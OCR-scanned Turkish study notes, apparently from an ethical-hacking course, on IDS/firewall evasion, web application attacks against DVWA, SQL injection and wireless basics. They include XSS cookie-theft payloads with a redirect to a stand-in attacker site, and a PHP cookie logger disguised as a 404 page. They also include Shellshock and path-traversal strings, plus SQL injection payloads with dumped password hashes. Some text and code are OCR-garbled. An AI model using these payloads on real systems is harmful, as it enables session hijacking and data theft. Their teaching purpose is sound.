- Saldiri modellerini tespit etmek igin sisteme yiklenen yazilimdir. Anti-virlise benzerlik gosterir. PC Gizerine kurulur.
* Gergek hayatta araba alarmlari gibi dtstnulebilir. Eger bu gibi tehditleri 6nlemeye c¢alisirsa bunun adi da IPS oluyor.

IPS (Instrusion Prevention System)
- IPS saldiri aktivitelerini veya politika ihlallerini 6nlemek icin ag veya sistem aktivitelerini izleyen ve bunlara bagli olarak uyari
Ureten ve engelleyen yazilim ya da donanimdir.

* |IDS sadece tespit eder, IPS hem tespit hem de engelleme yapar. * Snort IPS kurup alistirma yapabiliriz.
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IDS ve IPS Nasil Calisiyor?
- Address matching: Web-IP engellemek icin bir kural yazilir. Paket icerisinde bu veri varsa engeller.
- HTTP string and substring matching: Bir siteyi engelledikten sonra o sitenin alt domainlerini de engellemek.
- Generic pattern matches
- TCP connection analysis
- Packet anomaly detection
- Traffic anomaly detection
- TCP/UDP port matching

IDS’den Kaginma Metodlari
- Obfucation / Encoding: Karistirma
- Fragmentation: Pargalama
- Encryption: Sifreleme
- Denial of Service: Service cevap veremez hale getirme

Obfuscation — IDS Evading Metotlari

- Veri manipiilasyon yontemidir. IDS’in aldig1 verinin ne oldugunu anlamamasi (imzasiyla eslesmemesi) ancak veriyi isleyecek
olan servisin dogru sekilde anlayabildigi ifadeler kullanmaktadir.

- Farkli kodlanmis (encode) paketler gondermek ya da gereksiz null karakterler gondermek olarak dastnlebilir.

-Ornegin; ../..[../../..Jetc/passwd => ..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

« insanlarin okudugunda anlamayacag kadar sadelestir.

BEFORE | AFTER

private void private void a(a b) {
CalculatePayroll (Speciallist while (b.a()) {
employeeGroup) { a = b.a(true);
while (employeeGroup.HasMore()) { a.a();
employee = a(a);
employeeGroup.GetNext (true) ; }
employee.UpdateSalary () ; }

DistributeCheck (employee) ;

* Ya da Okunamaz karmasik hale getir.

(A)
function setText(data) |
document.getElementById("myDiv®).innerHTML = data;
|
|
(B)
functic ghds3x(n) |
h=" 9\u006EN\u0065r\x48T\u004DL";
a="s cvovdhe,ni®";x=a.split(” "):b="gztxleWentBsyf";
r=b.replace{("z" ,x[7]).replace("x","E").replace("s","").replace("f","I
["repl*® + “aca” J{"N"."m")+"d";
c="my"+String.fromCharCode(é8)+x[10]+"v";
s=X[5]+x[3]+x[1]+"um"+x[7 1+x[9]+"t" ;d=this[s][r](c);if(+!![])
| d[h])=n: ) else | d[h])=c: ] ]




Fragmentation — IDS Evading Metotlari

- Fragmentation, saldiri paketlerini birden fazla pakete bélerek IDS/IPS cihazlar igin anlamsiz paketler olugsturmaktir.

- Bir NIDS Uzerinde “DATA” ifadesi imzalarda tanimli oldugu disuniildigiinde aktarim esnasinda, ifade bir bitiin olmak yerine
parcalar halinde aktarilir.

- Ornegin, DATA ifadesini parcalar halinde aktarimi: |D|A|T|A]|

- Peki veriyi gondermek istedigimiz kisi bu veriyi nasil anlar? Cevap, yollanilan seq numaralari arka arkaya siralanacagi igin,
karsi taraf bu sayede anlamli bir biitlin olusturabilir. TCP paketlerinin sirasi seq number oldugu icin ben istemesem bile o
bltlnlestirir zaten.

- Asagidaki 6rnek, paketi bolerek 3 adimda karsi tarafa iletiyoruz, bu 3 paket birlestiriimeden teker teker iletildiginde glivenlik
cihazi bunun ne oldugunu algilayamiyor.

original packet:

L ST packet length 4000 bytes —_—

first tragmented packet second fragmented packet . third ttagmemed packet

pard 222
M pCKEL et 1500 Dytes packet length 1500 byles packet length. 80 tyles

- Ancak Switch, Router ya da Bilgisayar paket tamamlanana kadar bekliyor.

Protocol Data Unit (PDU)

_A
- ™

Data \
2500 Bytes
Data
2500 Bytes New
Protocol Data Units
Data (Fragments)
2500 Bytes
Data
2500 Bytes j

Encryption — IDS Evading Metotlari

- Bir NIPS/NIDS’in etkili olabilmesi icin isledigi her paketin icini inceleyebilmesi gerekir.

- Burada en biyiik sorun sifrelenmis ag trafigidir.

- SSL, SSH, IPSec gibi baglantilar sifreli iletisim kurdugundan NIDS/NIPS’in paketin icerigini gormesi miimkiin olmamaktadir. Bu
sebepten dolayid da igerik imzalardan kagirilmaktadir.

- Ancak giivenlik cihazlari da buna 6nlem olarak SSL/TLS decryption islemi yaparak trafigi incelemektedir. Dogru yapilandirma
ve IDS/IPS cihazlarinin yetenekleri 6nemlidir.

Denial of Service

- NIDS’ten kaginmanin bir diger yéntemi, NIDS'i asiri yiiklemektir. Bu pek cok sekilde yapilabilir. ilk ydntem, NIDS’i sahte IP
adreslerinden gelen saldirilarla doldurmak ve glivenlik personelinin gercek saldirgani bulma sansi disiik olacak kadar ¢ok alarm
olusturmaktir.
- Ikinci ydntem, NIDS'i trafige bogmaktir, bdylece her pakete bakamaz ve ayni anda k&tii amach paketleri asiri yiiklenmis NIDS imzalarindan
geciremez.



Firewall (Giivenlik Duvari)

- Temel amaci farkli ag sinirlari olusturmak ve bunlari izole etmektir. IP-Port’lara bakarak izin yada engelleme islemlerini saglar.
IP kismina ve port kismina bakiyor, zamana bakabilir, TCP/UDP kisimlarina bakabilir, ama daha fazlasi icin Next-Generation FW
gereklidir. O ylizden firewall aslinda bir routing islemi yapmaktadir diyebiliriz. Bunun igin Pfsense open-source firewall yazilimini
deneme olarak kullanilabilir.

Tiirleri;
- Application Layer
- Packet Filtering
- Circuit-level
- Proxy Server
- Next-Generation Firewall
- Statefull Firewall

Kurcalanabilecek Open-Source tespitgiler, sirasiyla incelenebilir: pfSense Firewall , Snort IPS , WAF

Firewall Kesfi
RFC'ye gore Firewall TCP portlari gelen SYN paketine,

- Port agiksa SYN-ACK
- Port kapaliysa RST doner.

- Firewall’lar genelde RST paketi donmez; ancak yapilandirmayla degistirilebilir.
- Firewall ACK, FIN gibi paketlere cevap donmez.
- Bu durumlar distintlerek farkl portlara yapilacak olan istekler kiyaslanarak firewall kesfi yapilabilir.

Firewall Evading (Atlatma) Metotlan
- Firewalking
- MAC Spoofing
- Tiny Fragmentation
- ICMP Tlnelleme
- HTTP Tunelleme
- DNS Tiinelleme
- SSH Tinelleme

Firewalking
- Geteway ACL (Access Control List) filtrelerini belirlemek igin TTL degerlerini kullanan bir teknik.

- Saldirgan, hedeflenen giivenlik duvarina TTL degerinin bir atlama daha bliyiik ayarlandigi bir TCP veya UDP paketi gonderir.

MAC Spoofing
- Firewall Gzerinden erisim izinleri olan bir sistemin MAC adresi saldirgan tarafindan taklit edilerek, herhangi bir filtreye

takilmadan istekler olusturulabilir.
- Bunun igin “macchanger” araci kullanilabilir. Ancak MAC adresimizi degistirmeden dnce kendimi internet arayilizimizii down
ettikten sonra MAC Changer islemi yapip daha sonra tekrardan up etmemiz gerekir;

# ifconig eth@ down

# macchanger -r eth® / macchanger -m ©0:22:33:44:55:00 etho

# ifconfig eth@ up

Tiny Fragmentation

- TCP baslik bilgileri baska paketlerde olacak sekilde paketlerin parcalanmasi islemi gergeklestirilerek paketin pargalar halinde
firewall tizerinden aktariimasi gerceklestirilebilir.

- Statefull calisan firewallar icin bu yontem ise yaramaz.

Tiinelleme Nedir?

Normal sartlar altinda kullandigimiz port ve protokolleri farkl port ve protokoller yardimiyla amacimiza uygun bir trafik
olusturmak icin kullaniyoruz. Ornegin ICMP Tiinelleme kullaniyorsak, ICMP port ve protokollerini baska bir amaca yénelik olarak
paketlerini tasimis oluyorum.




ICMP Tiinelleme
- ICMP Echo paketlerinin data kisminda bir arka kapi olarak kullanilan Shell ortaminin aktarildigi yontemdir.

HTTP Tiinelleme

- HTTP Tunel, kapsillenmis bir HTTP protokollinu kullanan gesitli ag protokollerini ¢alistirarak baglanti gergeklestiren bir
tekniktir. Ornegin, Firewall 80 portuna izin vermis yani HTTP trafigi icin uygun ama 22 SSH icin bana izin vermiyor. Bende bu
durumda 80 portu lzerinden SSH baglantisi yapmaya c¢alisiyorum. HTTP tiinellemedeki amacimiz iki makine arasinda glivenli bir
baglanti olusturmak igin kullanabiliriz. Ayni zamanda da firewall’i atlatmak igin de kullanabiliriz.

#t apt install httptunnel
# hts -F localhost:22 2139

# htc -F 8090 192.168.1.21:2139

- hts: httptunnel server component (Listen for incoming httptunnel connections)
- htc: httptunnel client component (Setup a httptunnel connection to port at host)

Burada bakarsak aslinda biz, HTTP client ve server lizerinden yani HTTP lzerinden, SSH icerigini bunlar arasindan gecirmis
oluyoruz.

DNS Tiinelleme
- Client ile Server arasindaki DNS trafigi Gizerinden farkli bir protokole ait verilerin aktariimasi islemidir.

SSH Tiinelleme
- SSH protokoline ait trafik Gzerinden farkli bir protokole ait trafigin aktariimasi islemidir.

Honeypots
- Tuzak sunuculardir.

- Taklit ederler
- Saldirganlar hakkinda bilgi toplarlar
- Belirli bir servis icin konusacak olursak, tgli el sikismayi reddeden baglanti noktalari bir honeypot’'un oldugunun gostergesidir.

Module 13: Hacking Web Servers

Web Sunucu
Basit ifadeyle, bir web sunucusu, dosyalari ve icerigi HTTP (izerinden sunmak icin tasarlanmis bir yazilim paketidir. Bu dosyalar,
istemcilerden yazilim bigciminde gelen taleplere yanit olarak teslim edilir.

Web sunuculari, isletim sistemi destegi, sunucu tarafi teknolojileri, glivenlik modelleri, istemci destegi, gelistirme araclari ve
daha pek ¢ok faktérle farklilik gosterir.

Cok sayida web sunucu olmasina ragmen gergekgci olmasi adina en meshur iki tanesi:
- Microsoft — Internet Information Server (lIS)
- Unix & Linux — Apache

REQUESTS RESPONSES

- GET: Web sayfasi okuma istegi - 1xx : Bilgi verme amacl
- HEAD: Web sayfasinin basligini okuma istegi - 2xx : Basariliistek

- PUT: Web sayfasina yiikleme istegi - 3xx : Yonlendirme

- POST: Web sayfasina bir sey yikleme - 4xx : Istemci tarafli hata
- DELETE: Bir web sayfasini silme istegi - 5xx : Sunucu tarafli hata

- TRACE: Gelen istegi tekrar gonderme
- OPTIONS: Desteklenen metotlari sorgulama



HTTP Header Bilgileri
- User-agent: isletim sistemi ver tarayici hakkinda bilgi

- Accept: Istemcinin kabul edebilecegi sayfa tipleri (HTML, XML, vb.)

- Accept-Charset: istemci tarafinda kabul edilebilecek karakter kiimeleri

- Accept-Encoding: istemci tarafinda kabul edilebilecek encodingler (gzip, vb.)
- Accept-Language: istemci tarafinda kabul edilebilecek diller

- Host: Sunucu DNS adi

- Authorization: HTTP Kimlik dogrulama bilgileri

- Cookie: Daha 6nce olusturulmus gerez bilgileri

- Connection: Kullanicinin tercih ettigi baglanti bigimi

- Referer: Bir 6nceki sayfa

- Content-Lenght: istek igeriginin boyutu

HTTP GET ve POST istekleri

GET /dumprequestG?pl=1&p2=2 HTTP/1.1

Host: localhost:12345

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch, br

Accept-Language: en-US,en;q=0.8

Connection: keep-alive

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.9; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36

Path to the source Protocol Version

The HTTP on Web Server Browser supports
Mefhod — —A— N7 A ~

Post /RegisterDao.jsp HTTP/1.1
[ Host: www.javatpoint.com

The User-Agent: Mozilla/5.0
Request Accept: text/xml,text/html,text/plain,image/jpeg
Headers | Accept-Language: en-us,en

| Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8
Keep-Alive:300
Connection:keep-alive
User=ravi&pass=java } Message body

L

Web Sunucu Zafiyetleri
Web sunucular bu noktaya kadar bahsi gegen bir ¢cok zafiyetten etkilenirler; ancak kendilerine 6zgii olarak zafiyetlerde

bulunmaktadir.

- Buffer Overflow
- DoS/ DDoS
- Flawed Web Design (Hatal kodlama)

Buffer Overflow (Arabellek Tasmasi)
Bir uygulama, islem veya program arabellege; “ayrilmis alandan fazla veri koymaya c¢alistiginda” bir arabellek tasmasi meydana

gelir. Boyle bir durumda, bu veriler butlinlGgiini kaybedebilir.

DoS/DDoS

Saldirgan bir web sunucusunun hizmet verme kapasitesini asacak sayida ¢ok istek yaparak servis disi birakma saldirisi
gerceklestirilebilir.
Benzer sekilde uygulamada DoS saldirisina neden olabiliecek b ir yazilimsal hatayi kullanabilir.



Flawed Web Design (Kusurlu Web Tasarimi)

Bir web uygulamasini istismar etmenin yaygin bir yolu kodun kendisidir.

Tasarimci tarafindan bir web sayfasina gomilen yorumlar ve gizli etiketler, saldirgana bilgi verebilir.

Bu tur etiketler ve bilgiler web tarayicisinda gosterilmiyor olsa da yogu tarayicida bulunan “Kaynak Kodu Goriintile” ozelligi ile
analiz edilebilir.

Module 14: Hacking Web Application

OWASP
- Agihmi “Open Web Application Securtiy Project”
- Belli araliklarla (2 yada 3 yil gibi) Web uygulamalari tizerinde gorilen kritik zafiyetleri yayinlar.
- OWASP Testing Metodolojisi zafiyetlerin ve bu zafiyetlerin nasil giderilecegine dair bir listedir.
- Bu zafiyetler kritiklik derecesine gore asagidakilerdir;

OWASP TOP 10

1- Injection: SQL Injection, NoSQL Injection, Operating System Injection vb.

2- Broken Authentication: Session yonetiminde yapilan yanhs uygulamalarin zafiyetleri mevcuttur.

3- Sensitive Data Exposure: Hassas verilerin saklanmasi ve transferi esnasinda korunamayarak ifsalanmasi.

4- XML External Entities (XXS): XML processer’lari sayesinde i¢ ag hakkindaki veriler, uzaktan kod galistirma

5- Broken Access Control: Oturum a¢gmis bir kullanicinin yetkisi olmadigi halde bazi yerlere erisebilmesi durumu.

6- Security Misconfiguration: Default konfiglirasyonlarin birakiimasi.

7- XSS (Cross-Site-Scripting): JS kodlarinin galistirilabilmesi durumunda ortaya gikan zafiyetlerdir.

8- Insecure Deserialization: json ve xml gibi formlara gevirilen bir verinin tekrar eski haline déndurilirken givenilmeyen
bir kullanici tarafindan zararli bir kod pargasini islemesi durumu.

9- Using Components with Known Vulnerabilities: Eski zafiyetlerden 6tiirii kaynaklanan zafiyetlerden ortaya ¢ikan agikhk.
Ornegin hala Windows 7 kullanmak gibi.

10- Insufficient Logging & Monitoring: Login, basarisiz login, ylksek meblada para transferleri gibi durumlarin
loglanmamasindan ve monitér edilmemesinden kaynaklanan zafiyetlerdir.

Testing Vulnerable Web Apps
Test ortamlari
-DVWA
- WebGoat
- bWAAP
- VulnHub
- Multillidae
Zafiyet tarama icin araclar
- Nikto
- OWASP Zap
- Netsparker
- Acunetix

OWASP ZAP ile Web Uygulama Zafiyet Taramasi
Komut satirindan #owasp-zap komutu calistirilir ve update islemleri tamamlanir.




Burpsuit ile Araya Girme

- Burpsuit web sizma testlerinde siklikla kullanilan bir aragtir.

- Uzerinde cok fazla ve farkl yeteneklerde modiilleri olmasina ragmen bu egitimde Burpsuit aracinin proxy ézelliklerini ele
alacagiz.

- Burpsuit ile web trafiginde araya girmek icin dncelikle bir listener port ayarlamamiz, ardindan web tarayicimiz tizerinden
ayarlar sekmesinden bu proxyi tanimlamamiz gerekli.

- Boylelikle tim web trafigi proxy lizerinden gecebilsin ve trafigi burda durdurup manupiile edebilelim.

- Bu yontemle istemci tarafinda alinan tiim giivenlik 6nlemleri ve ksutlamalari asabiliriz.

- Bunlarin disinda Burpsuit Gzerinde repeater, decoder, crawler, comparer vb. Baska 6zelliklerde vardir.

- Egitim boyunca Burpsuit’in community (free) versiyonunu kullanacagiz.

- Bu versiyon kali izerinde kurulu olarak gelir. isternise sitesinden indirilip Windows icin kullanilabilir.

Burp Proxy
Yeni Proxy Ekleme: Proxy > Options > Add > Binding kisminda “Bind to port” bélimune port yazilir. Bind to address: “Loopback

only” segilir. 127.0.0.1

DVWA Nedir?
- Damn Vulnerable Web Application
- Zafiyetli Web Uygulamasi
- PHP ile olusturulmustur.
- 8 adet zafiyet barindirir ve her biri 3 zorluk seviyesine ayrilir.

Brute Force — Kaba Kuvvet Saldirisi

- Kullanici veya parola igin olabilecek tim ihtimallerin denenmesidir.

- Benzer mantikla Dictionary Attack uygulamasinda ise elimizde bulunan kelime listesinin tamaminin parola veya kullanici adi
i¢in uygunlugu denenir.
* Biz burada Burpsuite ve Hydra tizerinden Brute Force saldirisi gergeklestirerek érneklendirecegiz.

Command Execution
Windows lizerinde is CMD, Linux lzerinde ise Shell komutlari ¢alistirabiliyoruz.

CSRF Attack

- CSRF: Cross Site Request Forgery

- Bu atak hedef kisiye istegi ve bilgisi disinda bir islem yaptirmay:i saglar.

- Bu atak bir web sitesindeki form alanlari manipile edilerek yeni bir form istegi olusturulur ve hedef kullaniciya gonderilir.

- Manupile edilen bu form alaninda username, password degistirme ya da para transferi yapma gibi istekler vardir.

- Ancak bu atagin basaril bir sekilde gergeklestirilebilmesi i¢in hedef son kullanicinin hali hazirda bu sisteme login olmus olmasi
gerekmektedir.

- Genellikle bu form isteginin bulundugu kod pargasi ya bir html dosya icinde son kullaniciya mail atili ya da uzak bir sunucuda
barindirilan bu kod parcasinin URL’i bir resim ya da PDF’in igerisine gémuliip bu dosyanin son kullanici tarafindan tiklanmasi
saglanir.

- Kullanicinin bilgisi disinda browser’inin uzak bir sunucuya istek yapmasi

- Peki bu atagi 6nlemek igin nasil bir dnlem alabiliriz?

- Ornegin password degisimi yaparken éncelikle eski password’iinii sorariz Béylelikle eski parolasinin girilmedigi herhangi bir
sorgu server tarafindan isleme alinmaz.

- Eski parola girme islemi de ancak kullanicinin bilgisi dahilinde yapilabilen bir islemdir.



XSS Attack

- XSS: Cross Site Scripting

- Bu zafiyette dinamik bir web sayfasinda girdi alanina kullanici tarafinda ¢alisacak bir betik yerlestirilerek yapilir.

- <script>alert(“hacklendin!”);</script> gibi bir kod pargasi sonucu eger ekranda “hacklendin!” yazan bir pop-up ¢ikiyorsa
burada bir XSS zafiyetinden bahsedilebilir.

- Eger uygulama ASP ile yazilmis ve arkada MSSQL database varsa asagidaki kodun galismasi durumunda XSS var diyebiliriz.

- <IMG SRC=vbscript:msghbox(“Vulnerable”);>orginalAttribute="SRC" orginalPath="vbscript:msgbox(“Vulnerable”);>"

- XSS Reflected ve XSS Stored seklinde iki tipi vardir.

- XSS Reflected: Anlik olarak o kodu galistirabildigimiz durumlar

- XSS Stored: Arkaplanda database’e kayit edilir. Ve siirekli olarak bunu depolamis olur. ikisinde de script calistiriyoruz bi farki
yoktur.

- Client tarafindan cookie degerini almak icin asagidaki JS kodlarini gonderebiliriz;

- <script>alert(document.cookie);</script> (Security Level: LOW, PHPIDS: disabled)

- Eger sistemlerde herhangi bir filtreleme varsa asagidaki gibi bir deger denenebilir.

- <sCript>alert(document.cookie);</scRipt> (Security Level: MEDIUM, PHPIDS: disabled)

- Ya da alternatif olarak asagidaki yéntem denenebilir.

- <sc <script> ript>alert(document.cookie);</sc <script> ript> (Security Level: MEDIUM, PHPIDS: disabled)

- Bir sayfaya yonlendirirken ¢erezi de beraberinde yollayan JS kodu:

- window.location.href="saldirganinsitesi.com/index.php?cookie="+document.cookie;

* Kullanici anlamasin diye 404 sayfasini gosteren php kod
ornegi

<html>
<head>
<title>404 Not Found</title>
</head>
<body>
484 Not Found
<?php
$ ERVER[ "REMOTE_ADDR"]; // Sayfaya girenin ip’si alinar.
W ["cookie"]; // Hazirlanmis linke tiklayanin cer
= date('d.m.y \t H:i:s'); // Kurbanin hazirlanmis linke tikle
§file = fopen(“"cerezler.html”, "a+");
fwrite($file, <br>");
fwrite($ e, "Kurbanin IP Adresi : " . %ip . "<br>");
fwrite($file, "Tiklama Zamani " . $dateTime . "<br>");
fwrite($file, “"Kurbanin Cerezi " . $cookie . "<br>");
fwrite(i-‘i le, "N BHREsE # ####<br><bro<br>");
fclose(3file);
>
</body>
</html>

XSS Attack Onleme Yéntemlerinden Biri

- Bu atagi 6nlemek igin alinacak dnlemlerden bir tanesi de Cookie degeri set edilirken HTTPOnly Flag’i de set edilmeli. Boylelikle
client side tarafinda galisan bir JS kodu cookie degerine erisemez.

- httpd.conf dosyasi icerisinde asagidaki konfiglirasyonu girerek bu flag set edilmis olur;

- Header edit Set-Cookie A(.*)$ $1;HttpOnly;Secure

- Tabi XSS’i 6nlemek igin alinacak 6dnlemlerden en iyisi yine girdi denetimi olacaktir.

- Ancak unutulmamasi gereken bir husus vardir ki o da sadece client side tarafinda denetim yapilmasinin yetersiz olacagidir.

Directory Traversal

- Bir diger adiyla Path Traversal

- Saldirganin web sunucusu dizininin disina ve ana sistemin diger béliimlerine gegmesine izin verir.

- Web dizininin disina ¢iktiktan sonra saldirgan, izinleri ve diger glivenlik kontrollerini atlayabilir ve sistemde komutlari
cahstirabilir.

- Bu saldiry1 yapmak icin biraz sunucu bilgisi ve biraz tarayici bilgisi yeterlidir.



- http://furkan.com.tr/show.asp?view=history.html

http://furkan.com.tr/show.asp?view=../../../../../Windows/system.ini

File Inclusion
Dosya ekleme glivenlik a¢igl, en gok komut dosyasi ¢alistirma siresine dayanan web uygulamalarini etkiledigi gorilen bir tiir web
givenlik agigidir.

- Hedef bir web sitesine bir dosya dahil etmesine ya da hedef web sitesinin kendinde olan ama sunmadigi bir dosyayi
gorintiuleyebilmesine denir. Bunu iki tip olarak ayiriyoruz;

- LFI (Local File Inclusion) kelime anlami olarak Server’dan Dosya icerme islemidir.

- RFI (Remote File Inclusion) kelime anlami olarak Uzaktan Dosya icerme islemidir.

Windows sistemde ¢ikti ve host dosyasina erisme sekli olarak;
- http://192.168.43.189/dvwa/vulnerabilities/fi/?page?C:\\\Windows\\\System32\\\drivers\\\etc\\\hosts

Remote File Inclusion 6rnegi olarak;
- http://192.168.43.189/dvwa/vulnerabilities/fi/?page=https://www.hurriyer.com/index.html

ShellShock Zafiyeti
- ShellShock zafiyeti daha ¢ok Unix ve Linux cihazlarda goralir.
- ShellShock zafiyeti olan bir Linux sunucusunda asagidaki kod pargasi 6rnek verilebilir;
- env x='(){:;};echo exploit’ bash -c ‘cat /etc/passwd’

Module 15: SQL Injection

Enjeksiyon saldirilarina (SQL, OS, LDAP vs.), 6zellikle SQL enjeksiyonu, web sitelerinde rastlanmaktadir. Enjeksiyon, kullanici
tarafindan alinan verinin yorumlayiciya komut ya da sorgunun bir pargasi olarak génderilmesi durumunda olusur.

Saldirganin diismanca gonderdigi veriler yorumlayicinin istenmeyen komutlari ¢calistirmasina veya degistirmesine sebep olur.

Ornek SQL Sorgusu:
SELECT * FROM Users WHERE username="admin’ AND password="123456’

Saldin SQL Sorgulari:

SELECT * FROM Users WHERE username="admin’ AND password="123456" OR 1=1 #
SELECT * FROM Users WHERE username="admin’ AND password="123456’ OR ‘a’="a’ #
SELECT * FROM Users WHERE username="admin’ AND password="123456" OR 1=1 -
SELECT * FROM Users WHERE username="admin’ AND password="123456’ OR ‘a’="a ‘
SELECT * FROM Users WHERE username="admin’ AND password="123456" AND 1=0 #

Saldiri Mantig
SELECT * FROM Users WHERE username=’admin’ AND password="123456’ OR ‘a’='a ‘

1 AND 0 OR 1 =1



http://barikatakademi.com.tr/show.asp?view=history.html
http://barikatakademi.com.tr/show.asp?view=../../../../../Windows/system.ini
http://192.168.43.189/dvwa/vulnerabilities/fi/?page?C:///Windows///System32///drivers///etc///hosts
http://192.168.43.189/dvwa/vulnerabilities/fi/?page=https://www.hurriyer.com/index.html

select name, surname from users WHERE user_id="Sid’

(“or'1’=1) istersek yine hataya diismemek icin (‘ or'1’="1'#)

Vulnerability: SQL Injection

User ID:

ID:

First

ID:

1D:

ID:

) LI
First

, or |1l=cn

' Submit

‘or '1'="1
name: admin
Surname: admin

‘or '1'="1
First name: Gordon
Surname: Brown

vier "lel
First name: Hack
Surname: Me

‘or "1'='1
First name: Pablo
Surname:

or 'l's'}
name: Bob

Surname: Smith

Picasso

“or'l’="1" ORDER BY 2#

Vulnerability: SQL Injectio

User ID: { ‘or '1'="1' ORDER BY l Submit ‘

ID: ' or '1'='1' ORDER BY 2#
First name: admin
Surname: admin

ID: ' or '1'="1' ORDER BY 2#
First name: Gordon
Surname: Brown

ID: ' or Kl'='1l" ORDER BY 2#
First name: Hack
Surname: Me

ID: ' or '1'="'1" ORDER BY 2#
First name: Pablo
Surname: Picasso

ID: ' or '1'="1' ORDER BY 2#
First name: Bob
Surname: Smith

“or’1’="1" union select database(), version() #

Vulnerability: SQL Injection

User ID: I

ID: ' or '1'='1"' union
First name: admin
Surname: admin

ID: ' or '1'='1' union
First name: Gordon
Surname: Brown

ID: ' or '1'='1l' union
First name: Hack
Surname: Me

ID: ' or '1'="'1' union
First name: Pablo
Surname: Picasso

ID: ' or '1'='1' union
First name: Bob
Surname: Smith

ID: ' or. l'='1" énion
First name: dvwa
Surname: 5.7.14

M;4§uumt_J

select

select

select

select

select

select

database(),version() #

database(),version() #

database() ,version() #

database(),version() #

database(),version() #

database(),version() #




“union select 1, table_name from information_schema.tables#

Vulnerability: SQL Injection

ser 0 =T

First name: 1
Surname: CHARACTER SETS

First name: 1}
Surname: COLLATIONS

First name: 1

First name: 1
Surname: COLUMNS

First nase: )
Surname: COLUMN PRIVILEGES

First nase: 1
Surname: ENGIRES

First name: 1
Surname: EVENTS

First name: )
Surname: FILES

First name: 1
Surname: GLOBAL STATUS

First name: 1
Surname: GLOBAL VARIABLES

Firer name: 1

ID: ' union select 1, table name from information schesa.tabless

10: * union select 1,table name from information schoma.tabless

I0: * union select 1, .table nane from information schema.tabless

Surname: COLLATION CHARACTER SET APPLICABILITY

I0: * union select 1, table nane from information scheea.tabless

I0: * union select 1,table name from information schema.tables#s

ID: * union select 1. table mame from inforsation schema.tabless

ID: * union select 1,tadble name from information schesa.tabless

10: * union select 1,table name from inforsation schema.tabless

ID: ' uaton select 1,table name from inforsation schema.tabless

ID: ' union select 1,table name from information_schesa.tabless

10: * wunion select 1, table nmame from information schead.tabless

Sernase: xsSstatesents with soriing

ID: " umion select 1. table name from information
First name: 1
Surnane: xsstatoments with teap tables

I0: * umion select 1.table name from Ltaforsatiol
First name: 1
Surnane: xfuser sumsary

I0: " umion select 1,tadle name from informatio
First name: 1
Surnanc: x$user sossary by file 10

I10: * usion select 1,table name from informatio
First name: 1}
Surnane: xsuser suseary by file o0 type

ID: * umion select 1, tabie name froam information
First nase: 1
Surnane: xSuser susmary by stages

10: * usion select 1 table name from Inforsatiol
First name: 1
Surnance: xjuser sumsary by statement lateacy

10: union select 3 table name from informatio
First name: 1
Surnanc: xsuser sumsary by stateaent type

ID: * uoiom select 1, toble name from imformatiol
First name: 1
Surnase: x$vait classes global by avy lateacy

I0: * umion select 1 table name from imformatio
First name: 1
Surnanc: xfwait classes glodal by latemcy

ID: ' umsiom select 1,table name from imformatiol
First name: 1}
Surnamo: xSwaits by host by latency

I0: " umion seloct 1,tadble name from informatiol
First name: }
Surname: x3waits by user by latancy

I0: " umion select 1 table name from imformation
First naso: 1
Surnane: xSwaits global by latency

I0: * umion select 1,.toble name from informatiol
First nameo: 1
Surnane: sl config

“union select user, password from users#

Vulnerability: SQL Injection

User ID:

First name: admin

First name:

gordonb

First name: 1337

First name: pablo

First name: smithy

ID: ' union select user,password from users#
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: ' union select user,password from users#
Surname: e€99al18c428cb38d57260853678922e03
ID: ' union select user,password from users#
Surname: 8d3533d75ae2¢3966d7e0d4fcc69216b
ID: ' union select user,password from users#
Surname: 0d107d09f5bbed@cade3deS5c71e9e9b7
ID: ' union select user,password from users#

Surname: 5f4dcc3b53a765d61d8327deb882¢f99



Module 16: Hacking Wireless Networks

- Kablosuz iletisim tirlerinden olan wireless eskiden kablolu iletisimden yavas adlandirilirken, Wi-Fi 6 standardi ile birbiri ile
yarisir duruma gelmistir.
- Genellikle radyo iletisimine dayanir.

GSM: (Mobil iletisim igin Kiiresel Sistem), mobil ses ve veri hizmetlerini iletmek igin kullanilan agik, dijital bir hiicresel
teknolojidir. 9,6 kbps’ye kadar sesli aramalari ve aktarim hizlarini destekler.

Access Point: Bir kablosuz erisim noktasi (WAP) veya daha genel olarak AP, diger wifi cihazlarinin kablolu bir aga baglanmasina
izin veren bir donanim cihazidir.

SSID: “Hizmek Kiimesi Tanimlayicisi” anlamina gelir. IEEE 802.11 kablosuz ag standardi kapsamindadir.

BSSID: WAP’In MAC adresidir. Uretici tarafindan verilmistir. 24 bittir.

ISM Band: Cogu llkede lisans olmadan herhangi bir amagla kullanilabilen radyo spektrumunun bir pargasi olan Enddstriyel,
Bilimsel ve Medikal bant.

OFDM: Ortogonal Frekans Bélmeli Cogullama, birbirinden biraz farkl frekanslarda aralikl ¢ok sayida tasiyici kullanan bir dijital
iletim teknigidir. 1990’da ¢ikmistir. LAN, ADSL’de kullanilir.

FHSS: Frekans atlamali yayilma spektrumu, FHSS, paraziti onlemek, gizli dinlemeyi 6nlemek ve kod bolimli goklu erisim (CDMA)
iletisimlerini etkinlestirmek igin kullanilir.

Ag Tiirleri
Bir cografi alanda konuslandirilan kablosuz ag tiirleri su sekildedir;
- Wireless personal area network (WPAN)
- Wireless local area network (WLAN)
- Wireless metropolitian area network (WMAN)
- Wireless wide are network (WWAN)

Ek olarak dagitim senaryosuna gore farkli ag tirleri de vardir;
- Extension to a wired network
- Multiple to a wired network
- 3G/4G/5G hotspot

Wireless Standartlan

IEEE Frequency |Speed Transmission Range

Standard

802.11 2.4 CHz Upto2 Depends on spread spectrum type
Mbps ;

802.11a S CHz Up to 54 25 to 75 feet indoors; range can be affected
Mbps by building materials

802.11b 2.4 GHz Uptoll Up to 150 feet indoors; range can be
Mbps affected by building materials

802.11g 2.4 CHz Up to 54 Up to 150 feet indoors: range can be
Mbps affected by building materials

802.11n 2.4 and Up to 600 |At least as far as b, g, and a—and possibly

S GHz Mbps much further




Wi-Fi Authentication Modlari

Open Authentication to Access Point

Shared Key Authentication to the Access Point

EAP Authentication to the Network

MAC Address Authentication to Network

Combing MAC-Based, EAP, and Open Authentication
Using WPA Key Management

Wi-Fi Chalking
